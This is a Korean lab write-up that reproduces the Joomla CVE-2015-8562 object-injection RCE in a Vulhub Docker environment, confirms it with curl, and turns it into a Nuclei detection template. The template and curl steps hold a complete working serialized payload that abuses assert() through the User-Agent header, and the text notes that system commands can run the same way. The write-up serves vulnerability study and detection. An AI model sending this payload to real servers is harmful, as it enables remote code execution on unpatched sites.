검증 없는 unserialize() 하나로 RCE까지 — CVE-2015-8562 재현

🛡️ 강사 제공 인가된 실습 환경에서 수행

취약한 서버를 직접 구축해서 CVE를 재현하고, PoC로 증명한 뒤, 그걸 잡아내는 탐지 규칙까지 만들어보는 한 바퀴다. 탐지 도구 자체에 대한 설명은 Nuclei 템플릿을 직접 써서 탐지 로직 만들기에 따로 정리했다.

취약점 개요

항목내용
제품Joomla! 1.5.x, 2.x, 3.x (3.4.6 미만)
취약점 종류PHP Object Injection → RCE
심각도High (CVSS 7.5)
영향원격에서 임의 코드 실행 가능
패치 버전Joomla 3.4.6 이상

Joomla는 WordPress 다음가는 세계 2위 CMS다. 수백만 개 사이트가 쓰기 때문에 취약점 하나의 파급이 크다.

왜 뚫리는가

직렬화와 역직렬화

# 직렬화 (객체 → 문자열로 변환, 저장/전송용)
serialize($object)  "O:4:User:1:{s:4:name;s:5:admin;}"

# 역직렬화 (문자열 → 다시 객체로 복원)
unserialize("O:4:User:1:{...}")  $object

가구를 분해해서 박스에 포장하는 게 직렬화, 박스를 열어 다시 조립하는 게 역직렬화다.

기호의미예시
OObject (객체)O:4:"User":...
sString (문자열)s:5:"admin"
aArray (배열)a:1:{...}
iInteger (숫자)i:9999
bBooleanb:1

문제의 지점

Joomla가 User-Agent 헤더 값을
아무 검증 없이 그대로 unserialize() 실행

공격자가 넣은 악성 PHP 객체도 그대로 조립됨

역직렬화 자체가 문제가 아니라, 검증 없이 역직렬화하는 게 문제다.

여기에 두 가지 PHP 특성이 얹힌다.

  • __destruct() — 객체가 소멸될 때 자동으로 실행되는 메서드다. 공격자는 여기에 코드를 심어두면 아무것도 안 해도 실행된다. 건물을 철거할 때 자동으로 울리는 경보 같은 것.
  • assert() — 원래는 조건을 검증하는 함수인데, PHP에서는 문자열을 PHP 코드로 실행해버린다.
assert("phpinfo()")        # phpinfo() 를 코드로 실행
assert("system('ls /')")   # 서버 명령어 실행도 가능

공격 흐름

1. 공격자가 User-Agent에 PHP 직렬화 객체 담아 전송

2. Joomla가 User-Agent를 세션 데이터에 저장

3. 세션을 다시 읽는 과정에서 unserialize() 실행

4. PHP Object Injection 발생

5. __destruct() 자동 실행

6. assert("phpinfo()") 실행

7. 응답에 "PHP Version", "PHP Extension" 출력

8. RCE 가능성 확인

phpinfo() 를 쓰는 이유는 증명 때문이다. 실행되면 응답에 항상 “PHP Version” 같은 문자열이 나오므로, “내가 여기서 실행됐다”고 손을 드는 함수 역할을 한다. 실제 공격이 아니라 PoC용이다.

취약 서버 세우기

sudo apt update
sudo apt install -y docker.io nuclei jq git
sudo service docker start
도구역할
Docker취약한 서버를 컨테이너로 실행
NucleiYAML 템플릿 기반 취약점 스캐너
jqJSON 결과를 보기 좋게 파싱
git clone --depth 1 https://github.com/vulhub/vulhub
cd vulhub/joomla/CVE-2015-8562

--depth 1 은 최신 커밋만 받는 옵션이라 훨씬 가볍고 빠르다.

M3 맥에서 걸린 것

version: '2'
services:
  web:
    image: vulhub/joomla:3.4.5
    platform: linux/amd64      # ← M3 맥 호환을 위해 추가
    depends_on:
      - mysql
    environment:
      - JOOMLA_DB_HOST=mysql
      - JOOMLA_DB_PORT=3306
      - JOOMLA_DB_USER=root
      - JOOMLA_DB_PASSWORD=vulhub
      - JOOMLA_DB_NAME=joomla
    ports:
      - "8080:80"
  mysql:
    image: mysql:5.5
    platform: linux/amd64      # ← M3 맥 호환을 위해 추가
    environment:
      - MYSQL_ROOT_PASSWORD=vulhub

M3 맥북은 ARM64인데 Vulhub 이미지는 amd64 전용이다. platform: linux/amd64 를 넣어야 Rosetta 에뮬레이션으로 돌아간다.

docker compose up -d
docker compose ps               # Up 상태 확인
curl -I http://localhost:8080   # HTTP/1.1 200 OK 확인

curl로 직접 증명

세션 기반 취약점이라 두 단계로 나뉜다.

# 1단계: 일반 요청으로 세션 쿠키 받기
curl -s http://localhost:8080 -c /tmp/joomla_cookie.txt

# 2단계: 쿠키 재사용 + 페이로드 전송
curl -s http://localhost:8080 \
  -b /tmp/joomla_cookie.txt \
  -H 'User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{...phpinfo()...}'

응답에 PHP Version 5.6.12 가 나왔다. 코드 실행 성공이다.

쿠키가 없으면 2번 요청이 다른 세션이 되어 페이로드가 실행되지 않는다. 이게 이 취약점이 단일 요청으로는 안 잡히는 이유다.

탐지 템플릿

id: CVE-2015-8562-custom

info:
  name: Joomla HTTP Header Unauthenticated RCE - Custom Multi-Request
  author: student01
  severity: high
  description: |
    Joomla! 1.5.x, 2.x, 3.x before 3.4.6
    PHP object injection via User-Agent header
  tags: cve,cve2015,joomla,rce

flow: http(1) && http(2)

http:
  # 1번 요청: Joomla 서버 확인 + 쿠키 받기
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0
        Connection: close
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Joomla")'
          - 'status_code == 200'
        condition: and
        internal: true

  # 2번 요청: 쿠키 재사용 + 페이로드 전송
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"%00%00%00a";O:17:"JSimplepieFactory":0:{}s:21:"%00%00%00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"%00%00%00connection";i:1;}
        Connection: close
    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and
      - type: status
        status:
          - 200

1번 요청에서 Mozilla/5.0 을 쓰는 이유는 일반 브라우저인 척해서 봇 차단에 걸리지 않고 쿠키를 받기 위해서다.

nuclei -validate -t ~/CVE-2015-8562-custom.yaml
# → All templates validated successfully

nuclei -u http://192.168.10.101:8080 -t ~/CVE-2015-8562-custom.yaml
# → 1 matches found

막혔던 것들

문제원인해결
exec format errorARM64(M3 맥) vs amd64 이미지 불일치docker-compose.yml에 platform: linux/amd64 추가
permission deniedDocker 실행 시 sudo 없음sudo docker compose up -d
0 matches foundYAML에서 null byte 처리 문제\0%00 (URL 인코딩)으로 변경
no configuration filedocker-compose.yml 있는 폴더가 아닌 데서 실행cd vulhub/joomla/CVE-2015-8562 후 실행
칼리에서 맥 서버 스캔칼리 Docker가 ARM64라 amd64 이미지 불가맥 Docker Desktop에서 서버 실행, 칼리에서는 스캔만

0 matches found 가 제일 오래 걸렸다. 페이로드 안의 null byte(\0)가 YAML을 거치면서 그대로 전달되지 않는 게 원인이었고, %00 으로 URL 인코딩해서 넣으니 통과했다. 템플릿이 틀린 게 아니라 전달 과정에서 값이 변형되고 있었다 — 이런 건 서버가 아니라 중간 계층을 의심해야 찾을 수 있다.

전체 흐름

1. 환경 세팅
   Docker, Nuclei, jq 설치

2. 취약 서버 구축
   Vulhub CVE-2015-8562 Docker로 실행 (ARM64 호환 처리)

3. 취약점 직접 확인 (PoC)
   curl로 페이로드 전송 → phpinfo() 출력 확인

4. YAML 템플릿 제작
   다중 요청 방식 (flow: http(1) && http(2))

5. 탐지 성공
   nuclei 스캔 → 1 matches found

남는 것

  1. 버전 업데이트가 안 된 서버가 곧 취약한 서버다. Joomla 3.4.5는 뚫리고 3.4.6은 안 뚫린다. 코드는 그대로인데 번호 하나 차이다.
  2. User-Agent 같은 헤더도 입력값이다. 사용자가 폼에 입력하는 것만 검증 대상이라고 생각하면 이런 게 새어 나간다.
  3. 취약점을 재현할 줄 알아야 탐지도 만들 수 있다. PoC 없이 템플릿부터 쓰면 뭘 기준으로 매칭할지 정할 수 없다.